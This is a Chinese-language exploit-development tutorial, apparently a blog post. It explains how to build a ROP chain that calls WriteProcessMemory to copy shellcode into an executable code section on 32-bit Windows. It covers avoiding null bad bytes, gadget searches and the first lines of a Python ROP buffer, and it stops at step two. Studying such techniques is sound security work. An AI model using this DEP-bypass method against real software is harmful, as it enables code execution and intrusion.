RoP编写

0x0dee 2024-03-01 17:07:15

名称 说明
WriteProcessMemory调用地址 由rop动态解引用导入表中的地址 调用WirteProcessMemory API
返回地址 代码段中的地址 在WirteProcessMemory运行成功并且返回后会直接运行这个地址的shellcode
hProcess -f 表示需要写入的进程,-1表示当前进程
lpBaseAddress 代码段中的地址 将shellcode写入的目的地址,代码段具有可执行权限和读权限
lpBuffer 调用结构+0x44位置 栈中的shellcode地址,即复制的原地址
nSize 0x210 复制的大小
[OUT] lpNumbelOfBytesWritten 数据段可写的地址 用于存放WirteProcessMemory的返回内容,如果不可写将会调用失败

1 计算调用结构的地址

我们将调用结构放置在取得esp时候的+0x120位置,因为通常我们的RoP内容大小不会超过这个值(通常在0x100个字节以内大小),而此时我们也并不知道我们最终的RoP的大小是多少,所以这时候的调用结构偏移只是个粗略值,或许它也是最终的偏移值。

为了放置调用结构我们需要寻找的第一条gadget会是类似mov eax, esp这样的指令去取得esp的内容,在本例中我们选择push esp ; sub eax, 0x20 ; pop ebx ; ret ;这条gadget。
然后我们需要选择一个能将刚刚取得的值加0x120的gadget,因为0x00000120包含了0x00坏字符,我们可以选择不同的方式去避免包含0x00字符:
1. neg或者not指令方式
2. 一个正数和一个负数相加得到0x120
3. 减去负的0x120

,neg和not指令在gadgets中一般会是和eax一起出现,因为eax通常用于返回函数返回值。not指令会将操作数取反,在使用它之前将0xFFFFFEDF pop到eax中即可。
neg指令的操作数需要在not的基础上+1,所以使用它之前需要将0xFFFFFEE0 pop到eax中。可以在windbg中用?0-0x120去计算-0x120的补码(0xFFFFFEE0)
gadget中的neg指令:
``` └─$ cat gadgets.txt | grep -v "call" | grep -v "jmp" | grep ": neg eax ; ret ;"
0x61627d9c: neg eax ; ret ; (1 found)

**二**,正数加负数的方式:
![image.png](https://storage.tttang.com/media/attachment/2024/03/01/65fbb1fd-8c8a-4fae-8a8d-9b54a137c90c.png)
我们只需要将0xEEEEF00F和0x11111111 pop到包含了add指令的两个寄存器中即可避免0x00字符。

**三**,正数加负数方式会用到两条加法gadget,第一条去计算0xEEEEF00F和0x11111111的和,第二条将esp的值加上这个和。而直接将取得的esp值减去-0x120只需要一条减法gadget:

└─$ cat gadgets.txt | grep -v "call" | grep -v "jmp" | grep ": sub eax, e.. ; ret ;"
0x6162a45a: sub eax, ecx ; ret ; (1 found)
0x6162a464: sub eax, ecx ; ret ; (1 found)
0x6162a46e: sub eax, ecx ; ret ; (1 found)
0x6162a478: sub eax, ecx ; ret ; (1 found)

我们使用第三种方法,它使用最少的gadget,现在我们的RoP链条如下,它取得esp的值并且将它加上0x120得到调用结构的起始地址:
ropbuf = b""
ropbuf += pack("<L", 0x6162d908) # push esp ; sub eax, 0x20 ; pop ebx ; ret  ; 
ropbuf += pack("<L", 0x61640124) # xchg eax, ebx ; ret  ;  
ropbuf += pack("<L", 0x616464e9) # pop ecx ; ret  ; 
ropbuf += pack("<L", 0xfffffee0) ## = 0 - 0x120
ropbuf += pack("<L", 0x6162a478) # sub eax, ecx ; ret  ;

```

2 写入WirteProcessMemroy的地址

评论

0

0x0dee

这个人很懒,没有留下任何介绍

随机分类

Ruby安全 文章:2 篇
数据分析与机器学习 文章:12 篇
数据安全 文章:29 篇
前端安全 文章:29 篇
软件安全 文章:17 篇

扫码关注公众号

WeChat Offical Account QRCode

最新评论

K

k0uaz

foniw师傅提到的setfge当在类的字段名成是age时不会自动调用。因为获取

Yukong

🐮皮

H

HHHeey

好的,谢谢师傅的解答

Article_kelp

a类中的变量secret_class_var = "secret"是在merge

H

HHHeey

secret_var = 1 def test(): pass

目录